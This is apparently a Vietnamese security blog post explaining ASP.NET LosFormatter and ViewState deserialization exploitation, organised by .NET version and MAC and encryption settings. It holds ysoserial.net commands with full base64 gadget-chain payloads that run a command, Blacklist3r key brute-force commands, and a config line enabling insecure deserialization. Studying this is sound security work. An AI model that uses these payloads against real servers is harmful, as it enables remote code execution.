LosFormatter - ViewState deserialize

Bร i nร y sแบฝ lร  mแป™t sแป‘ note cแปงa mรฌnh vแป LosFormatter vร  exploit ViewState deserialize

Demo LosFormatter

Theo nhฦฐ docs Microsoft thรฌ LosFormatter sinh ra ฤ‘แปƒ serialize ViewState dรนng trong cรกc trang Web Forms. Vร  theo nhฦฐ docs nรณi thรฌ LosFormatter cลฉng khรดng an toร n nแบฟu sแปญ dแปฅng khรดng ฤ‘รบng cรกch. Vแบญy thรฌ cแปฅ thแปƒ nรณ khรดng an toร n nhฦฐ thแบฟ nร o thรฌ ta sแบฝ tรฌm hiแปƒu แปŸ phแบงn sau.

ฤแบงu tiรชn ta cรณ code minh hแปa sแปญ dแปฅng LosFormatter nhฦฐ sau

using System;
using System.IO;
using System.Text;

namespace LosFormatter
{
    internal class Program
    {
        
        [Serializable]
        class Person
        {
            private string name;

            public string Name
            {
                get { return name; }
                set { name = value; }
            }

            private int age;

            public int Age
            {
                get { return age; }
                set { age = value; }
            }

            public Person(string name, int age)
            {
                Name = name;
                Age = age;
            }

            public void SayHello()
            {
                Console.WriteLine("hello");
            }
        }
        
        public static void Main(string[] args)
        {
            System.Web.UI.LosFormatter losFormatter = new System.Web.UI.LosFormatter();
            using (MemoryStream memory = new MemoryStream())
            {
                losFormatter.Serialize(memory, new Person("endy", 20));

                memory.Position = 0;
                Person p = (Person)losFormatter.Deserialize(memory);
                p.SayHello();
                Console.WriteLine(Encoding.UTF8.GetString(memory.ToArray()));
            }
            Console.ReadKey();
        }
    }
}

Kแบฟt quแบฃ

Ta sแบฝ thแบฅy kแบฟt quแบฃ khi dรนng LosFormatter ฤ‘แปƒ seri lร  mแป™t chuแป—i base64 bแบฏt ฤ‘แบงu bแบฑng /wEyt.

Thแปฑc chแบฅt quรก trรฌnh seri vร  deser cแปงa LosFormatter lร  gแปi ฤ‘แบฟn hร m seri vร  deser cแปงa ObjectStateFormatter

Vรญ dแปฅ khi gแปi LosFormatter deser

Giรก trแป‹ cแปงa this._formatter

Tแบกi ObjectStateFormatter sแบฝ base64 decode giรก trแป‹ nhแบญn vร o rแป“i tiแบฟn hร nh quรก trรฌnh deser thแบญt sแปฑ

Demo exploit vแป›i chain TextFormattingRunProperties 

D:\App\ysoserial.net-portale\Release>ysoserial.exe -g TextFormattingRunProperties -f LosFormatter -c calc
/wEykQcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAACzBTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi0xNiI/Pg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI+DQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQogICAgPHNkOlByb2Nlc3M+DQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgY2FsYyIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4L

ViewState

Demo ViewState

Theo mรฌnh hiแปƒu ViewState tฦฐฦกng tแปฑ nhฦฐ cฦก chแบฟ cache cแปงa web thรดng thฦฐแปng nhฦฐng ฤ‘ฦฐแปฃc dรนng trong cรกc แปฉng dแปฅng Web Forms giรบp lฦฐu trแบกng thรกi ngฦฐแปi dรนng. Giรก trแป‹ cแปงa ViewState sแบฝ nแบฑm trong cรกc filed แบฉn cแปงa form vร  ฤ‘ฦฐแปฃc serialize bแปŸi LosFormatter. ฤแปƒ tiแป‡n demo thรฌ ta sแบฝ tแบกo mแป™t trang dรนng web forms nhฦฐ sau:

Chแปn new project trong Visual Studio vแป›i options lร  ASP.NET Web Application

Nแบฟu khรดng cรณ options nร y thรฌ mแปŸ Visual Studio Installer rแป“i chแปn Modify -> Individual components vร  tick vร o .Net Framework project and item templates ฤ‘แปƒ tแบฃi vแป

Sau khi ฤ‘แบทt tรชn project xong thรฌ ta chแปn Web Forms

Sau ฤ‘รณ mรฌnh tแบกo mแป™t file Form.aspx ฤ‘แปƒ demo nhฦฐ sau

<%@ Language="C#" AutoEventWireup="true" CodeBehind="Form.aspx.cs" Inherits="ViewStateDemo.WebForm1"%>

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title></title>
</head>
<body>
    <form id="form1" runat="server">
        <div>
        </div>
    </form>
</body>
</html>

Run Web vร  truy cแบญp /Form ta sแบฝ thแบฅy giรก trแป‹ Viewstate

Ta cรณ thแปƒ decode ฤ‘แปƒ xem value cแปงa viewstate bแบฑng extension ViewStateDecoder

ฤi sฦก qua quรก trรฌnh handle __VIEWSTATE tแบกi package System.Web.dll. Ta sแบฝ thแบฅy, giรก trแป‹ __VIEWSTATE ฤ‘ฦฐแปฃc lแบฅy ra tแปซ method Page.RequestViewStateString

Trace ngฦฐแปฃc vแป ta biแบฟt ฤ‘ฦฐแปฃc tแบกi method Load cแปงa HiddenFieldPageStatePersister sแบฝ gแปi ฤ‘แบฟn Page.RequestViewState vร  giรก trแป‹ ViewState ฤ‘ฦฐแปฃc deser bแบฑng Util.DeserializeWithAssert

Hร m Util.DeserializeWithAssert sแบฝ deser string vแป›i formatter truyแปn vร o

Trace mแป™t hแป“i thรฌ ta biแบฟt ฤ‘ฦฐแปฃc formatter ฤ‘ฦฐแปฃc sแปญ dแปฅng lร  ObjectStateFormatter. Do ฤ‘รณ nแบฟu attacker kiแปƒm soรกt ฤ‘ฦฐแปฃc giรก trแป‹ ViewState (ฤ‘iแปu nร y lร  hiแปƒn nhiรชn) cรณ thแปƒ trigger RCE vแป›i cรกc chain dรนng ฤ‘ฦฐแปฃc cแปงa ObjectStateFormatter

Vรฌ thแบฟ Microsoft cลฉng cung cแบฅp mแป™t sแป‘ tรญnh nฤƒng ฤ‘แปƒ secure ViewState nhฦฐ:

  • ViewStateEncryptionMode: cho phรฉp Viewstate hiแปƒn thแป‹ แปŸ client dแบกng ฤ‘ฦฐแปฃc encrypt -> viแป‡c nร y chแป‰ ฤ‘แปƒ phรฒng chแป‘ng viแป‡c lแป™ lแปt thรดng tin trong viewstate cรฒn khi exploit thรฌ ta cรณ thแปƒ ฤ‘แบฅm nhฦฐ bรฌnh thฦฐแปng

  • EnableViewStateMac: Dรนng MacKey trong quรก trรฌnh deser viewstate ฤ‘แปƒ xรกc thแปฑc -> trรกnh viแป‡c attacker dแป… dร ng lแปฃi dแปฅng viewstate. Tแปซ bแบฃn .NET framework 4.5.2 trแปŸ ฤ‘i thรฌ EnableViewStateMac ฤ‘ฦฐแปฃc enable mแบทc ฤ‘แป‹nh luรดn, cรฒn cรกc phiรชn bแบฃn thแบฅp hฦกn thรฌ mแบทc ฤ‘แป‹nh khรดng cรณ hร nh vi nร y mร  ta phแบฃi tแปฑ config. Extension ViewStateDecoder mรฌnh ฤ‘แป cแบญp แปŸ trรชn cลฉng cho ta biแบฟt viewstate cรณ ฤ‘ang ฤ‘ฦฐแปฃc bแบฃo vแป‡ bแปŸi MAC key hay khรดng, nแบฟu cรณ thรฌ ViewStateDecoder return enable cรฒn nแบฟu khรดng thรฌ return unknow

Do ฤ‘รณ ta sแบฝ cรณ bแบฃng sau แปฉng vแป›i tแปซng case khi exploit Viewstate

Case
.NET ver
MAC enabled
Encryption enabled
Require

1.

Any

false

false/true

No

2.

<4.5

false (default)

false/true

No

3.

<4.5

true

false/true

MAC Key

4.

>4.5

true (default)

false/true

MAC Key

Case 1 vร  2: .NET any version and MAC disable

Vรฌ 2 trฦฐแปng hแปฃp exploit nร y ฤ‘แปu dแปฑa trรชn viแป‡c MAC encrypt disable nรชn mรฌnh gแป™p chung luรดn.

Nhฦฐ ฤ‘รฃ ฤ‘แป cแบญp thรฌ tแปซ sau bแบฃn .NET 4.5 EnableViewStateMac mแบทc ฤ‘แป‹nh lร  bแบญt. Nhรฌn lแบกi vร o hร m deser tแบกi ObjectStateFormatter ta sแบฝ thแบฅy trฦฐแป›c khi deser sแบฝ cรณ ฤ‘oแบกn check EnableViewStateMac

EnableViewStateMac sแบฝ gแปi ฤ‘แบฟn EnableViewStateMacRegistryHelper

EnableViewStateMacRegistryHelper gแปi ฤ‘แบฟn method IsMacEnforcementEnabledViaRegistry ฤ‘แปƒ check

ฤรบng nhฦฐ tรชn gแปi thรฌ IsMacEnforcementEnabledViaRegistry check reg xem Mac cรณ Enable hay khรดng

Mแบทc ฤ‘แป‹nh thรฌ reg nร y cลฉng cรณ value lร  true

Khi nร y ta cรณ thแปƒ setup MAC Key trong phแบงn web.conf, nแบฟu khรดng setup thรฌ mแบทc ฤ‘แป‹nh sแบฝ gen ngแบซu nhiรชn vแป›i alg lร  HMACSHA256

Giรก trแป‹ nแบฟu khรดng setup MAC key trong Web.conf

Khi setup Mac key trong web.conf thรฌ ta setup nhฦฐ sau

  <system.web>
	  <machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES"/>
  </system.web>

Lรบc nร y thรฌ ta sแบฝ cรณ ฤ‘ฦฐแปฃc giรก trแป‹ validationKey vร  decryptionKey nhฦฐ setup

Code ฤ‘แปƒ get infor key trรชn web

using System;
using System.Collections.Generic;
using System.Configuration;
using System.Linq;
using System.Reflection;
using System.Web;
using System.Web.Configuration;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;

namespace ViewStateDemo
{
    public partial class WebForm1 : System.Web.UI.Page
    {
        protected void Page_Load(object sender, EventArgs e)
        {
            MachineKeySection machineKey = (MachineKeySection)WebConfigurationManager.GetSection("system.web/machineKey");

            if (machineKey != null)
            {
                Response.Write("<h2>Machine Key Information</h2>");
                Response.Write($"<p>Validation Key: {machineKey.ValidationKey}</p>");
                Response.Write($"<p>Decryption Key: {machineKey.DecryptionKey}</p>");
                Response.Write($"<p>Validation Algorithm: {machineKey.Validation}</p>");
                Response.Write($"<p>Decryption Algorithm: {machineKey.Decryption}</p>");
            }
            else
            {
                Response.Write("Machine key section is not configured in web.config.");
            }

        }
    }
}

Ta cรณ thแปƒ config on/off EnableViewStateMac ngay trong file aspx bแบฑng options EnableViewStateMac="false" hoแบทc EnableViewStateMac="true". Tuy nhiรชn vแป›i cรกc bแบฃn .NET โ‰ฅ 4.5 cho dรน ta cรณ set EnableViewStateMac="false" thรฌ config cลฉng sแบฝ ฤƒn theo reg do ฤ‘รณ ta cแบงn phแบฃi config thรชm trong file web.conf giรก trแป‹ nhฦฐ sau ฤ‘แปƒ allow insecure deser

  <appSettings>
       <add key="aspnet:AllowInsecureDeserialization" value="true"/>
   </appSettings>

Ta dรนng ysoserial ฤ‘แปƒ gen payload

D:\App\ysoserial.net-portale\Release>ysoserial.exe -f losformatter -g SessionViewStateHistoryItem -c "calc"
/wEylQsAAQAAAP////8BAAAAAAAAAAwCAAAAVFN5c3RlbS5XZWIuTW9iaWxlLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGEzYQUBAAAASVN5c3RlbS5XZWIuVUkuTW9iaWxlQ29udHJvbHMuU2Vzc2lvblZpZXdTdGF0ZStTZXNzaW9uVmlld1N0YXRlSGlzdG9yeUl0ZW0BAAAAAXMBAgAAAAYDAAAAyAkvd0V5a1FjQUFRQUFBUC8vLy84QkFBQUFBQUFBQUF3Q0FBQUFYazFwWTNKdmMyOW1kQzVRYjNkbGNsTm9aV3hzTGtWa2FYUnZjaXdnVm1WeWMybHZiajB6TGpBdU1DNHdMQ0JEZFd4MGRYSmxQVzVsZFhSeVlXd3NJRkIxWW14cFkwdGxlVlJ2YTJWdVBUTXhZbVl6T0RVMllXUXpOalJsTXpVRkFRQUFBRUpOYVdOeWIzTnZablF1Vm1semRXRnNVM1IxWkdsdkxsUmxlSFF1Um05eWJXRjBkR2x1Wnk1VVpYaDBSbTl5YldGMGRHbHVaMUoxYmxCeWIzQmxjblJwWlhNQkFBQUFEMFp2Y21WbmNtOTFibVJDY25WemFBRUNBQUFBQmdNQUFBQ3pCVHcvZUcxc0lIWmxjbk5wYjI0OUlqRXVNQ0lnWlc1amIyUnBibWM5SW5WMFppMHhOaUkvUGcwS1BFOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNpQk5aWFJvYjJST1lXMWxQU0pUZEdGeWRDSWdTWE5KYm1sMGFXRnNURzloWkVWdVlXSnNaV1E5SWtaaGJITmxJaUI0Yld4dWN6MGlhSFIwY0RvdkwzTmphR1Z0WVhNdWJXbGpjbTl6YjJaMExtTnZiUzkzYVc1bWVDOHlNREEyTDNoaGJXd3ZjSEpsYzJWdWRHRjBhVzl1SWlCNGJXeHVjenB6WkQwaVkyeHlMVzVoYldWemNHRmpaVHBUZVhOMFpXMHVSR2xoWjI1dmMzUnBZM003WVhOelpXMWliSGs5VTNsemRHVnRJaUI0Yld4dWN6cDRQU0pvZEhSd09pOHZjMk5vWlcxaGN5NXRhV055YjNOdlpuUXVZMjl0TDNkcGJtWjRMekl3TURZdmVHRnRiQ0krRFFvZ0lEeFBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSXVUMkpxWldOMFNXNXpkR0Z1WTJVK0RRb2dJQ0FnUEhOa09sQnliMk5sYzNNK0RRb2dJQ0FnSUNBOGMyUTZVSEp2WTJWemN5NVRkR0Z5ZEVsdVptOCtEUW9nSUNBZ0lDQWdJRHh6WkRwUWNtOWpaWE56VTNSaGNuUkpibVp2SUVGeVozVnRaVzUwY3owaUwyTWdZMkZzWXlJZ1UzUmhibVJoY21SRmNuSnZja1Z1WTI5a2FXNW5QU0o3ZURwT2RXeHNmU0lnVTNSaGJtUmhjbVJQZFhSd2RYUkZibU52WkdsdVp6MGllM2c2VG5Wc2JIMGlJRlZ6WlhKT1lXMWxQU0lpSUZCaGMzTjNiM0prUFNKN2VEcE9kV3hzZlNJZ1JHOXRZV2x1UFNJaUlFeHZZV1JWYzJWeVVISnZabWxzWlQwaVJtRnNjMlVpSUVacGJHVk9ZVzFsUFNKamJXUWlJQzgrRFFvZ0lDQWdJQ0E4TDNOa09sQnliMk5sYzNNdVUzUmhjblJKYm1adlBnMEtJQ0FnSUR3dmMyUTZVSEp2WTJWemN6NE5DaUFnUEM5UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJdVQySnFaV04wU1c1emRHRnVZMlUrRFFvOEwwOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNqNEwL

Case 3: .NET version <4.5 and MAC enable

ฤแป‘i vแป›i case 3 ta sแบฝ cรณ 2 trฦฐแปng hแปฃp nhแป hฦกn lร  khi Encryption true vร  Encryption false.

Nรณi sฦก qua mแป™t chรบt cรกc on/off Encryption. Ta cรณ thแปƒ on/off thรดng qua options ViewStateEncryptionMode. Cรกc giรก trแป‹ cแปงa ViewStateEncryptionMode

Giรก trแป‹ cแปงa ViewState khi Encryption enable

Cho dรน Encryption enable thรฌ cลฉng khรดng แบฃnh hฦฐแปŸng ฤ‘แบฟn payload exploit cแปงa ta, nรชn trong trฦฐแปng hแปฃp Mac disable vร  Encryption enable ta vแบซn cรณ thแปƒ exploit nhฦฐ bรฌnh thฦฐแปng vแป›i payload gen tแปซ yso.

A. Encryption false

ฤแปƒ dแป… demo thรฌ mรฌnh sแบฝ thรชm mac key vร o web.conf nhฦฐ sau:

  <system.web>
    <machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES"/>
  </system.web>

Khi nร y nแบฟu muแป‘n exploit ta cแบงn phแบฃi biแบฟt giรก trแป‹ cแปงa validationKey. Quay trแปŸ lแบกi mแป™t chรบt ฤ‘oแบกn deser cแปงa ObjectFormatter. Ta sแบฝ thแบฅy trong trฦฐแปng hแปฃp EnableViewStateMac lร  true (1) ta sแบฝ nhแบฃy vร o hร m MachineKeySection.GetDecodedData (2) trฦฐแป›c khi deser giรก trแป‹ (3)

ฤแปƒ debug thรฌ mรฌnh open project gen bแปŸi Visual Studio bแบฑng Rider rแป“i run debug. Vรฌ mแป›i tiแบฟp cแบญn .net nรชn mรฌnh chฦฐa biแบฟt cรกch debug package trong Visual Studio ๐Ÿ˜ญ

Hร m GetDecodedData cรณ nhiแป‡m vแปฅ check xem data ฤ‘ฦฐa vร o cรณ legit hay khรดng dแปฑa vร o MacKey

ฤแปƒ phรขn tรญch cแปฅ thแปƒ cรกch nรณ check legit thรฌ khรก out context vแป›i lแบกi mรฌnh quรก lฦฐแปi nรชn chแป‰ note ฤ‘แบฟn ฤ‘รขy thรดi ๐Ÿง€

Nรณi tรณm lแบกi lร  khi EnableViewStateMac lร  true ta cแบงn biแบฟt ฤ‘ฦฐแปฃc validationKey ฤ‘แปƒ exploit. Viแป‡c cรณ ฤ‘ฦฐแปฃc validationKey cรณ thแปƒ lร  thรดng qua viแป‡c ta exploit read file -> read web.conf -> cรณ ฤ‘ฦฐแปฃc validate key.

Lรบc nร y ta gen payload vแป›i ysoserial nhฦฐ sau

ysoserial.exe -p viewstate -g TextFormattingRunProperties -c "calc" --validationkey=70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0 --validationalg=SHA1 --generator=DB68D79A

Vแป›i giรก trแป‹ generator lร  __VIEWSTATEGENERATOR cแปงa mแป—i form. Ta chแป‰ cแบงn Ctrl+U lรชn lร  thแบฅy

Kแบฟt quแบฃ:

ฤแป‘i vแป›i trฦฐแปng hแปฃp khรดng exploit ฤ‘ฦฐแปฃc gรฌ ฤ‘แปƒ cรณ ฤ‘ฦฐแปฃc MAC Key ta cลฉng cรณ thแปƒ brute force vแป›i Blacklist3r

Ta chแป‰ cแบงn cung cแบฅp giรก trแป‹ __VIEWSTATE vแป›i option -c vร  __VIEWSTATEGENERATOR vแป›i option -m nhฦฐ sau

AspDotNetWrapper.exe -r MachineKeys.txt -c /wEPDwULLTE2MTY2ODcyMjlkZJ72r+Gzx1mnIhOnsSTC8Sha0Toi -p viewstate -m DB68D79A -s

Kแบฟt quแบฃ

Khi cรณ key rแป“i thรฌ ta gen payload nhฦฐ trรชn

B. Encryption true

ฤแป‘i vแป›i trฦฐแปng hแปฃp nร y dรน Encryption lร  true mร  ta cรณ ฤ‘ฦฐแปฃc MAC key thรฌ vแบซn gen payload vร  exploit nhฦฐ thฦฐแปng.

....<TODO>....

Case 4: .NET version >4.5 and MAC enable

Hiแป‡n tแบกi mรฌnh khรก bแบญn khรดng cรณ nhiแปu thแปi gian test phแบงn nร y nรชn chแป‰ note cรกch gen payload. ฤแป‘i vแป›i .NET version >4.5 thรฌ ngoร i MAC key ta cแบงn biแบฟt thรชm application path ฤ‘แปƒ exploit 

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

Vแป›i --path lร  full path ฤ‘แบฟn endpoint exploit cรฒn --apppath lร  IIS dirpath tแปฉc lร  application name.

แปž case 3 nแบฟu ta khรดng biแบฟt value __VIEWSTATEGENERATOR thรฌ cลฉng cรณ thแปƒ cung cแบฅp application path ฤ‘แปƒ gen payload

Ta cลฉng cรณ thแปƒ dรนng Blacklist3r ฤ‘แปƒ brute key 

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

Thamn khแบฃo thรชm: https://soroush.me/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/

Bonus

Bonus mแป™t trฦฐแปng hแปฃp lร  khi viewstate bแป‹ disable vแป›i options EnableViewState="false". Dแบฅu hiแป‡u cแปงa trฦฐแปng hแปฃp nร y lร  khi ta F5 nhiแปu lแบงn nhฦฐng giรก trแป‹ ViewState khรดng thay ฤ‘แป•i. Mแบทc dรน mang tiแบฟng lร  ฤ‘รฃ off nhฦฐng param __VIEWSTATE vแบซn ฤ‘ฦฐแปฃc handle vร  deser do ฤ‘รณ ta vแบซn cรณ thแปƒ exploit nhฦฐ bรฌnh thฦฐแปng.

Refer

Logodotnet-deserialization/ViewState.md at main ยท Y4er/dotnet-deserializationGitHub
LogoExploiting ViewState Deserialization using Blacklist3r andClaranet Cyber Security
LogoExploiting Deserialisation in ASP.NET via ViewStateSoroush Dalili (@irsdl) Blog
PreviousFormatter - mแป™t vร i chain cแปงa BinaryFormatterNextASP.NET Memory Shell (.Net Framework)

Last updated